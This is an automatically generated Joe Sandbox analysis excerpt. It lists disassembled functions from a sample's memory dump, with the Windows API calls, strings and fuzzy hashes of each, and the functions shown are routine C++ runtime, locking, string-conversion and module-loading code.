Opcode Fuzzy Hash: ca9bf8963e0e4fa7230878bde4fe1cf36a1439f47aa8734440bfbe8340765503
Instruction Fuzzy Hash: 14E1DE789046489FCB25CF5AD8D09EEBBB2FF49300F14444EE89A9B751C734B986CB64

Function 0055D830 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 0055D8D5

Strings

Tasks module already destroyed, xrefs: 0055D92F
Attempt to unload a module which is still used by another, xrefs: 0055DAFB
4{d, xrefs: 0055D8C7

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: 4{d$Attempt to unload a module which is still used by another$Tasks module already destroyed
API String ID: 4194217158-3716607661
Opcode ID: 0846401b5eaf091e55dab1e5a6afc2ac7010b29f18cf884930154379abff1819
Instruction ID: d80c5125bb0b30a89f899ab05f9ba9a64306ea994a9254ec08dcc5cc268f116d
Opcode Fuzzy Hash: 0846401b5eaf091e55dab1e5a6afc2ac7010b29f18cf884930154379abff1819
Instruction Fuzzy Hash: 2CB1E671A002199FCB14EF65D8546ADBBB6FF84321F14415EE81697391EF389E09CFA0

Function 00428260 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 274COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,00426C02,00000000,00000000,00000000,00000000,B6184AA8,?), ref: 00428316
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,00426C02,?,?,00000000,00000000,00000000,00000000), ref: 00428381

Strings

to_narrow<wchar_t> invalid arguments, xrefs: 004283D4
to_narrow<wchar_t>::WideCharToMultiByte, xrefs: 004283B9

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: to_narrow<wchar_t> invalid arguments$to_narrow<wchar_t>::WideCharToMultiByte
API String ID: 626452242-1534530176
Opcode ID: 0910e33edf8dcbb3bb2d043b7686e4a09b3caa5da12263c172c1ef345502763a
Instruction ID: c3d1d3d70831c90e507bb3ccc3042545af651f87379bbba62c44ca0b8bde695c
Opcode Fuzzy Hash: 0910e33edf8dcbb3bb2d043b7686e4a09b3caa5da12263c172c1ef345502763a
Instruction Fuzzy Hash: D1812631A01226ABDB14DF64EC45BAFBBB5FF40704F54461EF80197780EBB9A940CBA4

Function 005CB1DF Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

std::__non_rtti_object::__construct_from_string_literal.LIBVCRUNTIME ref: 005CB222
std::__non_rtti_object::__construct_from_string_literal.LIBVCRUNTIME ref: 005CB256

Strings

Bad read pointer - no RTTI data!, xrefs: 005CB219
Attempted a typeid of nullptr pointer!, xrefs: 005CB24D

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: std::__non_rtti_object::__construct_from_string_literal
String ID: Attempted a typeid of nullptr pointer!$Bad read pointer - no RTTI data!
API String ID: 3887850325-4195314292
Opcode ID: d3815dd741b76b705a7bfe60e9922fa5780f21a18f358a67be281749af7210b8
Instruction ID: 0c2ac278bed2395848501ccd042272013ce4c0bfbe94674d37137ae2ee3ed930
Opcode Fuzzy Hash: d3815dd741b76b705a7bfe60e9922fa5780f21a18f358a67be281749af7210b8
Instruction Fuzzy Hash: F1713731904B46DEEB11AFA8D84ABAEBFB4FF81740F108A5EF48466191EF359851D342

Function 0045A600 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 187libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,onexit_register_connector_avast_2,?,00000000), ref: 0045A6A5
GetProcAddress.KERNEL32(00000000), ref: 0045A6AC

Strings

onexit_register_connector_avast_2, xrefs: 0045A69A
onexit_register_connector_avast_2 export not found, xrefs: 0045A810

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: onexit_register_connector_avast_2$onexit_register_connector_avast_2 export not found
API String ID: 1646373207-2937613418
Opcode ID: 3f017ec88e902fbaf4d746743cec3faeccc91d647c933d0d3b5cac4f2f30a000
Instruction ID: 022d2485e044c4d765d9dd881bd19730255d02133467baebaddd9dbbcc99c1a7
Opcode Fuzzy Hash: 3f017ec88e902fbaf4d746743cec3faeccc91d647c933d0d3b5cac4f2f30a000
Instruction Fuzzy Hash: DD71B1B09006199FCB00DF65C8546ADBBF5FF88310F15825AE815AB351EB78AE49CFA1

Function 00450660 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 151COMMON

Download Yara Rule

APIs

InitOnceBeginInitialize.KERNEL32(006EEBDC,00000000,?,00000000,B6184AA8,00000010,00000010,00424C37,?,00000000,005D2335,000000FF,?,004505FC,00000000,00000000), ref: 004506A8

Part of subcall function 004514C0: InitializeCriticalSection.KERNEL32(00000028,00000010,000000FF,?,0045070C), ref: 00451545

InitOnceComplete.KERNEL32(006EEBDC,00000000,00000000,006EEBDC,0000004C), ref: 00450776

Strings

n, xrefs: 00450716
Singleton already destroyed, xrefs: 004507F4

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: InitInitializeOnce$BeginCompleteCriticalSection
String ID: Singleton already destroyed$n
API String ID: 1264858881-3931776765
Opcode ID: be73c64d5c1b887d7adafb8acfd4a611bc93a26e1aa078d7b95a4d109676d808
Instruction ID: 9594d9ec5a4c50d60abba37653b1f1cea5202463241f5a3480d96c4136300835
Opcode Fuzzy Hash: be73c64d5c1b887d7adafb8acfd4a611bc93a26e1aa078d7b95a4d109676d808
Instruction Fuzzy Hash: 9E51E1B4A01719DFCB10DF65C984BAEBBB5FF88714F14411AE805AB381DB786905CFA4

Function 0049F800 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 0049E760: CloseHandle.KERNEL32(?), ref: 0049E8B1

Part of subcall function 004520D0: ___std_exception_copy.LIBVCRUNTIME ref: 0045215F

Part of subcall function 0055D500: CloseHandle.KERNEL32(?), ref: 0055D651

EnterCriticalSection.KERNEL32(00000000,B6184AA8,?,?,?,?,?,00000000,005D9786,000000FF,?,0049E295), ref: 0049F85D
LeaveCriticalSection.KERNEL32(00000000,?,?,?,?,00000000,005D9786,000000FF,?,0049E295), ref: 0049F896
___std_exception_destroy.LIBVCRUNTIME ref: 0049F9B5

Strings

L4c, xrefs: 0049F9A7

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: CloseCriticalHandleSection$EnterLeave___std_exception_copy___std_exception_destroy
String ID: L4c
API String ID: 1432197461-3914362531
Opcode ID: 4d6a00a85ddfabe87f80563eade759e18c29f19fbb591514e2d1f5ab31f55df9
Instruction ID: 66c2afd810a008c250cceb11660dbebc2cb4e95261334f7a8be1a7613af68224
Opcode Fuzzy Hash: 4d6a00a85ddfabe87f80563eade759e18c29f19fbb591514e2d1f5ab31f55df9
Instruction Fuzzy Hash: DD5190B4A006059FCF10DF69C89476EBBF5FF58314F14826AE8159B391EB789D09CB90

Function 0045C360 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32(?,00000000,00008000,RtlGetVersion), ref: 0045C3CB
GetLastError.KERNEL32 ref: 0045C422

Strings

RtlGetVersion, xrefs: 0045C392
Unable to retrieve environment variable '{}'!, xrefs: 0045C42E

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: EnvironmentErrorLastVariable
String ID: RtlGetVersion$Unable to retrieve environment variable '{}'!
API String ID: 3114522214-3982360689
Opcode ID: d6ea11aba89cf304c1b35994d355654f092bbdc25cd1afd4bbccf2e3b8076340
Instruction ID: 3c0cdb5972b97535c00e12ca1fbd38a3f0adec5d3b0550bff9caf20cb5d5ced5
Opcode Fuzzy Hash: d6ea11aba89cf304c1b35994d355654f092bbdc25cd1afd4bbccf2e3b8076340
Instruction Fuzzy Hash: E02183B1D00305ABDB20DF55DC86BAFBBB8FB45B10F10462EF91592281EB786944CBA5

Function 00451F40 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00000000,?,?,0042500B,?,B6184AA8,?,00000018), ref: 00451F69
DeleteCriticalSection.KERNEL32(00000000,?,?,0042500B,?,B6184AA8,?,00000018), ref: 00451F83
EnterCriticalSection.KERNEL32(00000000,006ECEAC,006ECEB0,?,?,?,004244B3,B6184AA8,006ECEAC,00000018,?,?,0042500B,?,B6184AA8,?), ref: 00451FCD

Strings

pn, xrefs: 00451F71

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: CriticalSection$DeleteEnterInitialize
String ID: pn
API String ID: 542031744-2223989563
Opcode ID: c7fc02ddc6faf2f9716da516ab7bde9ca56ff7a165dc7ebcab72124774e2b1a2
Instruction ID: 4c84140b823dc14bf77296ac51ca5766b27868f5c6e4b3e0b9c89d4fd50b433c
Opcode Fuzzy Hash: c7fc02ddc6faf2f9716da516ab7bde9ca56ff7a165dc7ebcab72124774e2b1a2
Instruction Fuzzy Hash: E91155B1905344DFD7009F688D05726FAE9EF96705F14846FE80887352EBB48D44D7A1

Function 005A3883 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,005A3834,?,?,00000000,?,?,?,005A395E,00000002,FlsGetValue,006185B8,FlsGetValue), ref: 005A3890
GetLastError.KERNEL32(?,?,00000000,?,?,?,005A395E,00000002,FlsGetValue,006185B8,FlsGetValue,?,?,0059BEDB), ref: 005A389A
LoadLibraryExW.KERNEL32(?,00000000,00000000), ref: 005A38C2

Strings

api-ms-, xrefs: 005A38A7

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 137f3cdc73db21c8ee1dfe5f39abf4372aa585ee43ca1d2c71b92604ca2c5dbc
Instruction ID: d0c1c4e887ac3a28798bd90775081a8951c7aba979659036a262f4e1bf83a887
Opcode Fuzzy Hash: 137f3cdc73db21c8ee1dfe5f39abf4372aa585ee43ca1d2c71b92604ca2c5dbc
Instruction Fuzzy Hash: 92E04F70281206BBEF102B61EC46F6D3F55BB21B55F144030FA0DE80F0EB6DEA54EA54

Function 00598AE7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(006E820C,00000018,?,00447449,006EE44C,?,?,?,?,004645FF), ref: 00598AF1
ReleaseSRWLockExclusive.KERNEL32(006E820C,?,00447449,006EE44C,?,?,?,?,004645FF), ref: 00598B24
WakeAllConditionVariable.KERNEL32(006E8208,?,00447449,006EE44C,?,?,?,?,004645FF), ref: 00598B2F

Strings

ItDLn, xrefs: 00598AFD

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionReleaseVariableWake
String ID: ItDLn
API String ID: 1466638765-4183980876
Opcode ID: 073f2b5f9571472ea41dd47943dc000b96e616b98c48f9c2f41b6f86084522d4
Instruction ID: 48df8219d6ca9ea916adec2b1c31f25e27d9844e19dfc73d8042688aa936b7a1
Opcode Fuzzy Hash: 073f2b5f9571472ea41dd47943dc000b96e616b98c48f9c2f41b6f86084522d4
Instruction Fuzzy Hash: D2F06DB5505640EFC304DF58EC5CCA53BAAFB1A700B040429FA0ACB360DB796910CBA0

Function 005CCDD0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00472160: InitializeCriticalSectionEx.KERNEL32(?,00000000,00000000,005CCDFF,?,?,?,00401B3A), ref: 00472165
Part of subcall function 00472160: GetLastError.KERNEL32(?,?,?,00401B3A), ref: 0047216F

IsDebuggerPresent.KERNEL32(?,?,?,00401B3A), ref: 005CCE03
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00401B3A), ref: 005CCE12

Strings

P.b, xrefs: 005CCDF3
ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 005CCE0D

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: CriticalDebugDebuggerErrorInitializeLastOutputPresentSectionString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule$P.b
API String ID: 3511171328-4121457595
Opcode ID: 48c2bb74c60c3fbc3742f069920862d3cf2502dbad6d267ae9bd0199ef2802e3
Instruction ID: 11931d6482b29a4f169a93e716cadb9c12c25cc82217574d91d931024f68d7ef
Opcode Fuzzy Hash: 48c2bb74c60c3fbc3742f069920862d3cf2502dbad6d267ae9bd0199ef2802e3
Instruction Fuzzy Hash: 40E06DB06007518FE7619F65E404756BFE9BB14744F01882DE48AC6281DBB8E448DBA1

Function 045A3475 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,045A34B4,?,?,045A61A0,000000FF,0000001E,00000000,00000000,00000000,?,045A4404), ref: 045A3484
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 045A3496

Strings

mscoree.dll, xrefs: 045A347D
CorExitProcess, xrefs: 045A348E

Memory Dump Source

Source File: 00000000.00000002.2026335847.00000000045A0000.00000040.10000000.00040000.00000000.sdmp, Offset: 045A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_45a0000_107.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 1646373207-1276376045
Opcode ID: 3bcd5e74dbab0865ae5d61f573df5615779fb044ec34a5ecb17771399030bfd9
Instruction ID: a1cf64ca9f0e87f7528e67a8dd4f2f47611a8b10941993413015986fa4fb2535
Opcode Fuzzy Hash: 3bcd5e74dbab0865ae5d61f573df5615779fb044ec34a5ecb17771399030bfd9
Instruction Fuzzy Hash: 7AD01270B40208BFEB516E91FE0AF9D7A7DFF00655F000194BD08D0450EA61EA38FA50

Function 004219B0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 161COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,0000FDE9,00000000,00000000,B6184AA8,00000000), ref: 00421A4D
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,0000FDE9,?,005CE31E,00000000,00000000), ref: 00421AB4

Strings

to_wide<char>::MultiByteToWideChar, xrefs: 00421AEC
to_wide<char> invalid arguments, xrefs: 00421B07

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: to_wide<char> invalid arguments$to_wide<char>::MultiByteToWideChar
API String ID: 626452242-363086301
Opcode ID: 47258ed7f9bc736943da76b0fa37d9f5059571d0e4ba7b2b803ad1b2926579cb
Instruction ID: 5392f2030fa79f6d7760a6444ac8ff8fe5f7ab049f2bb1cddc03af950ea07891
Opcode Fuzzy Hash: 47258ed7f9bc736943da76b0fa37d9f5059571d0e4ba7b2b803ad1b2926579cb
Instruction Fuzzy Hash: C8511771B01716ABCB14CF65E805BAFBBB9FF64304F50422EE80193390E7B9A940CB94

Function 005CAECD Relevance: 6.1, APIs: 4, Instructions: 140COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 005CAF1E
TypeidsEqual.LIBVCRUNTIME ref: 005CAF43
PMDtoOffset.LIBCMT ref: 005CAF59
PMDtoOffset.LIBCMT ref: 005CAFDA

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: 2ca317564d3a52bdce74212441e3e6b18e266408b0b4746ca7a4d4689c7ceabc
Instruction ID: e635414f97c0d88a1751cbd4f45838f7c9b9c23d389c5bb5d74911338afadf69
Opcode Fuzzy Hash: 2ca317564d3a52bdce74212441e3e6b18e266408b0b4746ca7a4d4689c7ceabc
Instruction Fuzzy Hash: DC41AB7990424A9FEF21CFA8C481AAEBFF1FF15318F14449EE851A7251D332AE49CB51

Function 004565A0 Relevance: 6.1, APIs: 4, Instructions: 134registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,00000000,00000000,?,?,00000000,00000000,00000000,B6184AA8,00000000,00000000), ref: 00456625
RegCreateKeyExW.ADVAPI32(?,?,00000000,00000000,?,?,00000000,?,00000000,?), ref: 004566A9
RegCloseKey.ADVAPI32(?), ref: 004566D7
SetLastError.KERNEL32(00000000), ref: 004566E2

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: Create$CloseErrorLast
String ID:
API String ID: 3551974399-0
Opcode ID: 6417fe140d9c1e972f085ebcbaef79b8abf5fbcc0b514ac8ffa1040fad7ae088
Instruction ID: ecda8dad68ea3ea25f51a491ce34ce10b804e1f958666804347150509c8f8520
Opcode Fuzzy Hash: 6417fe140d9c1e972f085ebcbaef79b8abf5fbcc0b514ac8ffa1040fad7ae088
Instruction Fuzzy Hash: 33515EB0D046099FDB20DF58CC89BAEBBF5FB48710F10459AE819A7340DB756A44CF94

Function 0043E580 Relevance: 6.1, APIs: 4, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00597E3C: QueryPerformanceFrequency.KERNEL32(00000000,?,?,?,0043E597,00000000,00000000,00000001,?,B6184AA8,00000000,?), ref: 00597E5A

